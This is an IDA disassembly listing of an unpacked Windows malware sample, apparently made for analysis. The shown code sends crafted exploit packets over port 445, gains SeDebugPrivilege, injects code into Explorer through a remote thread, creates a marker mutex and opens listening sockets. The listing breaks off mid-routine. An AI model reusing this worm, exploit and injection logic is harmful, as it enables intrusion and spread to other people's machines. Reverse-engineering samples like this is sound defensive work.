; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 7759ABBF552D1441AFF8897537B399F6 ; File Name : u:\work\7759abbf552d1441aff8897537b399f6_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31500000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31501000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31501000 dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31501004 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31501008 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_3150100C dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHash ; sub_315028AE+FDr dword_31501010 dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31501014 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31501018 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_3150101C dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKeydword_31501020 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31501024 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31501028 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3150102C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_315023E4+1Dr dword_31501030 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31501034 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_315023E4+4Er ... dword_31501038 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownA align 10h dword_31501040 dd 7C830D74h, 7C80D262h; resolved to->KERNEL32.lstrcmpA ; sub_31503722:loc_31503968r ... dword_31501048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_315029C7+14Br dword_3150104C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_31503608+EDr dword_31501050 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTime ; sub_31503371+Ar dword_31501054 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_31501058 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_3150105C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31501060 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_31501064 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31501068 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_315029C7+3Fr ... dword_3150106C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; UPX0:31503448r ... dword_31501070 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31501074 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31501078 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3150107C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31501080 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31501084 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31501088 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_315026C2+8Fr ... dword_3150108C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventA ; sub_31502BE8+98r dword_31501090 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_31502BE8+C2r dword_31501094 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_315025F6+Fr dword_31501098 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_315028AE:loc_31502980r ... dword_3150109C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_315025F6+C3r dword_315010A0 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_315011C0+272r ... dword_315010A4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_31501A62+E2r ... dword_315010A8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_315029C7+69r ... dword_315010AC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_315010B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_315017AF+2Cr dword_315010B4 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_31501D96+ECr dword_315010B8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_315010BC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_31501911+19r ... dword_315010C0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31502490+92r dword_315010C4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31501D1Ar dword_315010C8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_315031EC+13r ... dword_315010CC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_315010D0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31501911+12r ... dword_315010D4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_315010D8 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_31502B4C+1Br dword_315010DC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_315010E0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_31501BA8+66r ... dword_315010E4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_31502128+3Fr ... dword_315010E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_315010EC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_315010F0 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_315029C7+83r ... align 8 dword_315010F8 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_315010FC dd 77C4CBE0h ; resolved to->MSVCRT.atandword_31501100 dd 77C4D444h ; resolved to->MSVCRT.sindword_31501104 dd 77C4CD34h ; resolved to->MSVCRT.cos; --------------------------------------------------------------------------- loc_31501108: ; DATA XREF: sub_31503A98r cmp [edi], ah retn 0FA77h ; DATA XREF: UPX0:loc_31503A92r ; --------------------------------------------------------------------------- db 27h, 0C2h, 77h dword_31501110 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31503722+B9r dword_31501114 dd 77C46030h ; resolved to->MSVCRT.strcpydword_31501118 dd 77C46040h ; resolved to->MSVCRT.strcat; --------------------------------------------------------------------------- loc_3150111C: ; DATA XREF: UPX0:loc_31503A80r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31501120 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_31502490+79r ... dword_31501124 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31501BA8:loc_31501C76r ... dword_31501128 dd 77C371BCh ; resolved to->MSVCRT.srand ; sub_31503371+5Dr dword_3150112C dd 77C46F70h ; resolved to->MSVCRT.memcpydword_31501130 dd 77C478A0h ; resolved to->MSVCRT.strlendword_31501134 dd 77C475F0h ; resolved to->MSVCRT.memset dd 0 dword_3150113C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31501A62+8Br ... dword_31501140 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31501144 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31501148 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessId align 10h dword_31501150 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlAdword_31501154 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_31501158 dd 42C2ABF4h ; resolved to->WININET.InternetReadFiledword_3150115C dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31502307r dd 0 dword_31501164 dd 71AB2DC0h ; resolved to->WS2_32.selectdword_31501168 dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_3150116C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31501170 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_31501F6B+7Ar ... dword_31501174 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_31501F6B+93r ... dword_31501178 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_31501F6B+B5r ... dword_3150117C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31501180 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31501184 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_31501188 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_315019F3+25r dword_3150118C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_31501BA8+ACr ... dword_31501190 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_31502277+Dr dword_31501194 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_31501BA8+F0r ... dword_31501198 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_31502DEC+46r dword_3150119C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31501A62+67r ... dword_315011A0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_315011C0+1D8r ... dword_315011A4 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31501A62+128r dword_315011A8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31501A62+12Fr ... align 10h dword_315011B0 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315011C0 proc near ; CODE XREF: sub_315020C4+36p ; sub_31502128+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31503A50 mov eax, dword_315059CC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_315059D0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3150118C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31501720 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31501190 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_315059C0 push eax call dword_3150113C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31501233: ; CODE XREF: sub_315011C0+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31501233 push 60h lea eax, [ebp+var_E4] push offset dword_315054E0 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31503A44 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31503A3E ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31503A44 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31503A38 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31503A38 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31501194 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31501198 ; connect cmp eax, 0FFFFFFFFh jz loc_31501716 mov esi, dword_315010A4 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3150119C push 89h push offset dword_315052C8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A8h push offset dword_31505354 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0DEh push offset dword_31505400 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp eax, 46h jl loc_3150170B cmp [ebp+var_730], 31h jnz loc_315015B6 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31503A38 ; memset add esp, 0Ch push offset byte_31505000 call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31503A44 ; memcpy mov eax, dword_31505906 add esp, 0Ch mov [ebp+var_798], eax loc_31501457: ; CODE XREF: sub_315011C0+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 68h push offset dword_31505544 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A0h push offset dword_315055B0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp [ebp+arg_0], 0 jz loc_315016A6 push 68h lea eax, [ebp+var_89E4] push offset dword_31505768 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31503A44 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_315057D4 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31503A44 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31505848 push eax call sub_31503A44 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_315016FE ; --------------------------------------------------------------------------- loc_315015B6: ; CODE XREF: sub_315011C0+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31503A38 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31505940 push eax call sub_31503A44 ; memcpy push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_315059B8 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31505940 push eax call sub_31503A44 ; memcpy add esp, 40h push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31501652: ; CODE XREF: sub_315011C0+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31501652 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31503A38 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31503A38 ; memset add esp, 18h jmp loc_31501457 ; --------------------------------------------------------------------------- loc_315016A6: ; CODE XREF: sub_315011C0+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31505654 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31503A44 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_315056D4 push eax call sub_31503A44 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_315016FE: ; CODE XREF: sub_315011C0+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_3150170B: ; CODE XREF: sub_315011C0+1ADj ; sub_315011C0+1E1j ... push 2 push [ebp+var_4] call dword_315011A4 ; shutdown loc_31501716: ; CODE XREF: sub_315011C0+166j push [ebp+var_4] call dword_315011A8 ; closesocket pop esi loc_31501720: ; CODE XREF: sub_315011C0+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_315011C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501727 proc near ; CODE XREF: UPX0:loc_31501D5Ap var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_315010B4 ; LoadLibraryA mov esi, dword_315010B0 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_315017AB push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_315017AB push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_315017AB lea eax, [ebp+var_C] push eax push 20h call dword_315010AC ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_315017AB: ; CODE XREF: sub_31501727+28j ; sub_31501727+37j ... pop edi pop esi leave retn sub_31501727 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315017AF proc near ; CODE XREF: UPX0:31501D6Ep var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, ds:dword_31506190 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_315010C4 ; GetModuleHandleA mov esi, dword_315010B0 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_315017F6 loc_315017F2: ; CODE XREF: sub_315017AF+54j push 1 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_315017F6: ; CODE XREF: sub_315017AF+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_315017F2 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31501144 ; FindWindowA test eax, eax jnz short loc_31501824 call dword_31501140 ; GetForegroundWindow test eax, eax jnz short loc_31501824 push 2 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_31501824: ; CODE XREF: sub_315017AF+65j ; sub_315017AF+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31501148 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_315010C0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_3150184A push 3 loc_31501847: ; CODE XREF: sub_315017AF+45j ; sub_315017AF+73j pop eax jmp short loc_315018B5 ; --------------------------------------------------------------------------- loc_3150184A: ; CODE XREF: sub_315017AF+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_315010BC test eax, eax jz short loc_315018A8 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_315010B8 ; WriteProcessMemory push ds:dword_31506164 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31501894 push eax call esi ; CloseHandle jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_31501894: ; CODE XREF: sub_315017AF+DEj push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov [ebp+var_4], 5 jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_315018A8: ; CODE XREF: sub_315017AF+B2j mov [ebp+var_4], 4 loc_315018AF: ; CODE XREF: sub_315017AF+E3j ; sub_315017AF+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_315018B5: ; CODE XREF: sub_315017AF+99j pop edi pop esi pop ebx leave retn sub_315017AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018BA proc near ; CODE XREF: sub_31501BA8+Bp ; UPX0:31501D30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_315010C8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_31501128 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_315018BA endp ; =============== S U B R O U T I N E ======================================= sub_315018E8 proc near ; CODE XREF: sub_315017AF+EAp ; UPX0:31501D3Ap ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_315010CC ; CreateMutexA retn sub_315018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018F7 proc near ; CODE XREF: sub_31501D96+145p ; sub_31501D96+150p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread pop ebp retn sub_315018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501911 proc near ; CODE XREF: sub_31501BA8+12Cp ; sub_31501D96+12Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread push eax call dword_315010BC ; CloseHandle pop ebp retn sub_31501911 endp ; =============== S U B R O U T I N E ======================================= sub_31501932 proc near ; CODE XREF: sub_31501F6B+26p ; sub_315025F6+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_3150195A loc_31501943: ; CODE XREF: sub_31501932+26j call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31501943 loc_3150195A: ; CODE XREF: sub_31501932+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31501932 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501962 proc near ; CODE XREF: sub_315029C7+16Bp ; sub_31503608+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31503A38 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_315010D4 ; CreateProcessA push [ebp+var_C] mov esi, dword_315010BC mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31501962 endp ; =============== S U B R O U T I N E ======================================= sub_315019B8 proc near ; CODE XREF: sub_31502DEC+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_31501184 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_315019D5 test esi, esi jnz short loc_315019E7 cmp byte ptr [edi], 30h jz short loc_315019EE loc_315019D5: ; CODE XREF: sub_315019B8+12j push edi call dword_31501188 ; gethostbyname test eax, eax jz short loc_315019E7 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_315019E7: ; CODE XREF: sub_315019B8+16j ; sub_315019B8+26j cmp esi, 0FFFFFFFFh jnz short loc_315019EE xor esi, esi loc_315019EE: ; CODE XREF: sub_315019B8+1Bj ; sub_315019B8+32j mov eax, esi pop edi pop esi retn sub_315019B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315019F3 proc near ; CODE XREF: sub_315021B0+3Ep ; sub_31502277+7p var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3150117C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31501A14 call dword_31501180 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31501A14: ; CODE XREF: sub_315019F3+15j lea eax, [ebp+var_34] push eax call dword_31501188 ; gethostbyname test eax, eax jnz short loc_31501A29 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31501A29: ; CODE XREF: sub_315019F3+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_315019F3 endp ; =============== S U B R O U T I N E ======================================= sub_31501A32 proc near ; CODE XREF: sub_315020C4+22p ; sub_31502128+27p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3150115C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31501A32 endp ; =============== S U B R O U T I N E ======================================= sub_31501A48 proc near ; CODE XREF: sub_31501D96+40p ; sub_31501D96+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_315010DC ; OpenEventA test eax, eax jz short locret_31501A61 push eax call dword_315010D8 ; SetEvent locret_31501A61: ; CODE XREF: sub_31501A48+10j retn sub_31501A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501A62 proc near ; DATA XREF: sub_31501BA8+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h 